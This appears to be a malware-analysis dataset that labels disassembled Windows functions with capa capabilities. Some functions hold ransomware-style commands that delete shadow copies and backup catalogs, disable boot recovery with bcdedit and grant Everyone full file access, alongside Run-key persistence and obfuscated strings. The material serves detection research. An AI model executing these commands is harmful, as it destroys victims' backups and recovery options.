joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102dd367
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1031f338], 0x2407
mov dword [0x1031f340], 0
mov byte [0x1031f344], 0
mov dword [0x1031f334], 0x7d1
mov dword [0x1031f33c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x102dd3c0
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1031f338]
mov esi, eax
add esi, 0xffffeb3d
mov dword [0x1031f334], esi
mov esi, dword [0x1031f33c]
add esi, 1
mov dword [0x1031f33c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x102dd3c0
mov dword [0x1031f334], 0xb6a
xor eax, eax
mov dword [0x1031f33c], 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1031f348], 0
mov edi, dword [ebp - 0x2c]
add edi, 0xfffff2c0
mov ebx, dword [ebp - 0x2c]
add ebx, 0xfffff6b9
mov dword [0x1031f334], edi
mov edi, dword [0x1031f340]
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1031f348], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x30]
idiv esi
mov dword [0x1031f340], edx
mov dword [0x1031f334], ebx
mov ebx, dword [ebp - 0x18]
mov bl, byte [ebx + ecx]
mov byte [0x1031f344], bl
mov dword [0x1031f334], 0x1799
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov dword [0x1031f334], 0x19cb
mov bl, byte [0x1031f344]
mov ecx, dword [0x1031f340]
mov byte [esi + ecx], bl
mov ecx, dword [0x1031f33c]
add ecx, 1
mov dword [0x1031f33c], ecx
cmp ecx, 0x100
mov dword [ebp - 0x34], ecx
jge 0x102dd3b8
mov eax, dword [0x1031f338]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x102dd41f
Function at 0x4048c0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x404870
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40488e
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4048ec
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and byte [ecx + 0x1065], al
invalid
invalid
and byte [ecx + 0x1065], al
add byte [eax + 0x3b184d8b], al
sal dword [esp + eax - 0x80], cl
or al, 8
add dword [ecx], edi
pop ebp
or byte [esp + eax - 0x80], dh
or al, 8
add bh, byte [ecx]
pop ebp
adc byte [ebp + eax + 3], dh
enter 0x980, 4
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4048d3
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4048dc
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4048e6
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4048c8
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x404852
mov dword [ebp + 8], esi
xor edi, edi

Function at 0x406080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
and byte [ebp - 0x7db], 0
mov byte [ebp - 0x7da], 0x11
and byte [ebp - 0x7d9], 0
mov byte [ebp - 0x7d8], 0xb2
mov byte [ebp - 0x7d7], 0x8b
mov byte [ebp - 0x7d6], 0x9c
mov byte [ebp - 0x7d5], 0x9c
mov byte [ebp - 0x7d4], 0x81
mov byte [ebp - 0x7d3], 0x9c
mov byte [ebp - 0x7d2], 0xc0
mov byte [ebp - 0x7d1], 0x82
mov byte [ebp - 0x7d0], 0x81
mov byte [ebp - 0x7cf], 0x89
mov byte [ebp - 0x7ce], 0xee
push 0xb
lea eax, [ebp - 0x7dc]
push eax
call fcn.004041a9
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.0040410a
add esp, 0xc
jmp 0x406111
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.00404199
loopne 0x40613f
push cs
dec eax
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
inc dword [ebx - 0x3a343]
inc dword [eax]
je 0x40617c
lea eax, [ebp - 0x714]
push eax
call fcn.004041a9
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.0040415e
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x40617c
jmp 0x405b3b
cmp dword [ebp - 0x37c], 0
je 0x40618a
jmp 0x40623f
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
invalid
xchg ebp, eax
Function at 0x401230
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
ror esi, 0xcf
ror edi, 0x58
add edx, 9
or edx, 0x3a
sub ebx, 7
dec esi
rcl eax, 3
rol eax, 0xf
ror ebx, 0x80
inc edi
imul edx
rcl edi, 5
rcr eax, 0xaa
imul ebx
rcl eax, 0x60
inc edi
imul esi
neg edi
not edi
imul ebx
ror edx, 0x4e
rcr edx, 0xe6
neg esi
imul edi
ror edx, 0xc
inc edx
sub esi, 0x5f
inc eax
neg edx
add eax, 0x32
bswap ebx
add ebx, 0x25
not ebx
add eax, 0x1a
imul edx
imul esi
and esi, 0x61
inc esi
sub eax, 0xaa
rol ebx, 0xa2
rcl esi, 0xd5
rcr edx, 0x11
dec esi
rcr edi, 0xdb
rol eax, 0xec
ror ebx, 0x66
sbb edx, 0xc4
neg edx
sbb edi, 0x74
not eax
xor ecx, ecx
xor edi, edi
sbb ebx, 0x58
dec eax
mov eax, 0x35
not edi
ror ebx, 0xdb
rcl edx, 0x28
rol edi, 0xbc
imul edi
sub edx, 0xac
dec edi
mov edx, 0xb6
ror edi, 6
or ebx, 7
sub edx, 0
not ebx
rol eax, 0x24
inc ebx
imul ebx
inc esi
rcr esi, 0xe1
add ebx, 0x2e
and eax, 7
inc eax
inc ebx
dec eax
sub edx, 0xb6
rol esi, 0x69
dec edx
dec edx
dec ebx
neg eax
ror eax, 0x55
bswap edx
inc edi
and eax, 0xc5
inc ebx
inc eax
rcr edx, 0xb2
bswap esi
rol edx, 0xc9
rol edx, 0x11
not ebx
and esi, 0x1b
imul eax
rcl esi, 0x77
ror esi, 0xcf
ror eax, 0xf2
dec edi
dec edx
sbb edx, 0xb6
mov ecx, dword [ebp + 0xc]
and eax, 0xbc
rol edi, 0x45
dec edx
imul ebx
rcl esi, 0xeb
not eax
and edi, 0xe3
rcl eax, 0xf3
and ebx, 0x2c
rol edi, 0x8a
inc esi
imul ebx
dec ebx
dec edi
inc ebx
rcr edi, 0xe9
neg esi
rcr eax, 0x4e
sbb ebx, 0xcb
dec edi
imul esi
bswap ebx
dec ebx
sbb ebx, 0x31
sub ebx, 0x59
and eax, 0x42
neg ebx
sub edx, 0x63
neg edx
dec eax
mov edx, 0xc2
rcl esi, 0x17
sub eax, 0x6c
dec ebx
bswap ebx
not eax
inc edx
dec edi
mov eax, 0xbd
bswap ebx
or ebx, 0xe3
dec eax
inc edi
neg ebx
inc edi
and edi, 0xce
not ebx
mov ebx, 5
dec ebx
inc edx
mov edi, dword [ebp + 8]
mov eax, ebx
xor ebx, eax
xor ebx, esi
not byte [edi]
xor esi, esi
mov esi, ebx
mov ebx, ebx
mov esi, ebx
mov esi, eax
mov ebx, ebx
xor eax, eax
xor ebx, ebx
mov eax, esi
add byte [edi], 0x37
mov esi, esi
xor ebx, eax
mov esi, ebx
mov ebx, ebx
xor eax, eax
mov eax, eax
mov ebx, esi
xor ebx, eax
mov esi, eax
sub byte [edi], 0x75
xor ebx, eax
xor ebx, ebx
xor eax, ebx
xor esi, ebx
xor eax, ebx
xor ebx, ebx
xor esi, eax
xor ebx, eax
xor ebx, ebx
imul byte [edi]
inc edi
loop 0x4013bf
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4012a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SYSTEMControlSet001EnumUSBSTOR
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 8], 1
jae 0x4012f2
mov eax, 1
jmp 0x4012f4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401360
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40138f
push str.Key_location_open_successful
call fcn.00401a00
add esp, 4
mov dword [ebp - 8], 1
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.test3.exe
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
test eax, eax
jne 0x4013c0
push str.Key_location_set_success
call fcn.00401a00
add esp, 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401430
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
push str.icacls_.__grant_Everyone:F__T__C__Q
call fcn.004036b4
add esp, 4
push str.vssadmin_delete_shadows__all__quiet
call fcn.004036b4
add esp, 4
push str.wmic_shadowcopy_delete
call fcn.004036b4
add esp, 4
push str.wbadmin_delete_catalog__quiet
call fcn.004036b4
add esp, 4
push 0x41b214
call fcn.004036b4
add esp, 4
push 0x41b250
call fcn.004036b4
add esp, 4
xor eax, eax
pop ebp
ret
Function at 0x401490
Capabilities:
Copy file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x41b344]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.00401910
lea eax, [ebp - 0x428]
push eax
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call fcn.00401970
mov edx, dword [ebp - 0x428]
mov ax, word [ebp + edx*2 - 0x216]
mov word [ebp - 0x418], ax
movzx ecx, word [ebp - 0x418]
and ecx, 0x80000001
jns 0x401510
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
jne 0x401520
mov dword [ebp - 0x424], 1
jmp 0x40152a
mov dword [ebp - 0x424], 0
movzx eax, word [ebp - 0x418]
cdq
sub eax, edx
sar eax, 1
mov edx, dword [ebp - 0x424]
lea eax, [edx + eax*2]
mov ecx, dword [ebp - 0x428]
mov word [ebp + ecx*2 - 0x216], ax
push 0
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x80
push 3
push 0
push 1
push 4
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x420], eax
push 2
push 0
push 0
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ax, word [0x41b27c]
mov word [ebp - 0x41c], ax
mov cl, byte [0x41b27e]
mov byte [ebp - 0x41a], cl
push 0
lea edx, [ebp - 0x42c]
push edx
push 1
lea eax, [ebp - 0x41c]
push eax
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x414]
push eax
call fcn.00401a00
add esp, 4
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00401a00
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a3a
mov esp, ebp
pop ebp
ret

Function at 0x4016e0
Capabilities:
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
push str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
call fcn.004036b4
add esp, 4
push str.bcdedit__set_default_recoveryenabled_no
call fcn.004036b4
add esp, 4
xor eax, eax
pop ebp
ret

Function at 0x40232b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40236a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40236a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40236a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40236a
cmp dword [ecx + 0x74], 0xe
jbe 0x40236a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412bf0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412c1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412c1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401154
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x439008]
jne 0x40115e
repz ret
jmp fcn.00401f74

Function at 0x413649
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409429
and dword [ebp - 4], 0
cmp dword [0x43bd7c], 0
mov ebx, eax
jne 0x4136fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4137ab
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4137ab
push eax
call fcn.004093b7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43bd7c], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43bd80], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43bd84], eax
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x43bd8c], eax
test eax, eax
je 0x4136fa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x43bd88], eax
mov eax, dword [0x43bd88]
cmp eax, ebx
je 0x413752
cmp dword [0x43bd8c], ebx
je 0x413752
push eax
call fcn.00409432
push dword [0x43bd8c]
mov esi, eax
call fcn.00409432
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413752
test edi, edi
je 0x413752
call esi
test eax, eax
je 0x413749
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413749
test byte [ebp - 0xc], 1
jne 0x413752
or dword [ebp + 0x10], 0x200000
jmp 0x41378b
mov eax, dword [0x43bd80]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41378b
mov eax, dword [0x43bd84]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43bd7c]
call fcn.00409432
pop ecx
test eax, eax
je 0x4137ab
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4137ad
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42c430
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 8
mov dword [esp], 0x20
add dword [esp], 0x20
mov al, 0x65
mov byte [0x43be69], al
mov byte [0x43be6c], al
mov al, 0x6c
push 0x43be68
mov byte [0x43be68], 0x6b
mov byte [0x43be6a], 0x72
mov byte [0x43be6b], 0x6e
mov byte [0x43be6d], al
mov byte [0x43be6e], 0x33
mov byte [0x43be6f], 0x32
mov byte [0x43be70], 0x2e
mov byte [0x43be71], 0x64
mov byte [0x43be72], al
mov byte [0x43be73], al
mov byte [0x43be74], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x43d650]
mov edx, dword [0x43c368]
lea eax, [esp + 4]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
ret
Function at 0x42c700
Capabilities:
Clear file content
Compare security identifiers

Disassembly:
sub esp, 0x424
mov eax, dword [0x439008]
xor eax, esp
mov dword [esp + 0x41c], eax
mov eax, dword [0x43d650]
push esi
mov esi, dword [0x43c368]
push edi
mov edi, eax
cmp eax, 0x5dd
jne 0x42c734
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov eax, dword [0x439ff0]
push eax
call fcn.0042c5c0
add esp, 4
cmp dword [0x43d650], 0x2f
jne 0x42c7c0
xor edx, edx
xor ecx, ecx
mov word [esp + 0x12], dx
xor eax, eax
mov word [esp + 0xe], cx
lea edx, [esp + 0x18]
push edx
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x10]
push eax
mov word [esp + 0x18], cx
mov ecx, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push 0
call dword [sym.imp.KERNEL32.dll_CancelDeviceWakeupRequest]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call fcn.0042c630
add esp, 4
cmp dword [0x43d650], 0x568
jne 0x42c7e2
push str.ximawazudikahefafopoporifozib_kadamuzayecep_hizujajugejusawaharidam_wunoguzazapeguvecazageganuzi
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
mov ecx, dword [esp + 0x424]
pop edi
pop esi
xor ecx, esp
call fcn.00401154
add esp, 0x424
ret
Function at 0x4029e4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403fac
test esi, esi
jne 0x402a1a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040409c
jmp 0x402a38
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004028f8
mov edi, eax
test esi, esi
je 0x402a38
cmp dword [ebx], 0
je 0x402a38
dec esi
jmp 0x402a21
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4030cc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x458020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403164
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403144
xor eax, eax
push ebp
push 0x40313d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403180
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403144
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x458020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x458020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e10
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x45a048], 0
je 0x403e71
cmp word [0x45a21c], 0xd7b2
jne 0x403e39
cmp dword [0x45a224], 0
jbe 0x403e39
mov eax, 0x45a218
call dword [0x45a234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45806c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e98
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x458030], 0
jne 0x403e8d
push 0
push 0x458064
push 0x45806c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40520c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40543c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40528f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40543c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40528f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405458
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405318
xor eax, eax
push ebp
push 0x405311
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405054
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4052f6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405478
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4052f6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405318
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405432
cmp byte [ebp - 0xd], 0
jne 0x40535f
cmp byte [ebp - 0x12], 0
je 0x405432
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405378
dec ebx
cmp byte [ebx], 0x2e
je 0x405387
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405377
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405432
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4053c4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405432
cmp byte [ebp - 0xd], 0
je 0x405432
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405432
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405b04
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405b6a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040421c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c84
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405b54
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b71
lea eax, [ebp - 0x10]
call fcn.00403fac
ret

Function at 0x40ab2c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ab65
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040409c
jmp 0x40ab6e
mov eax, ebx
mov edx, esi
call fcn.00404000
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ab78
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ab99
mov al, byte [esp]
jmp 0x40ab9b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b220
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b098
mov eax, dword [0x459818]
cmp byte [eax], 0
je 0x40b29c
mov eax, dword [0x45957c]
call fcn.00402af0
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004083a0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b2e4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b2d2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x459514]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x45a664]
call fcn.00405018
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
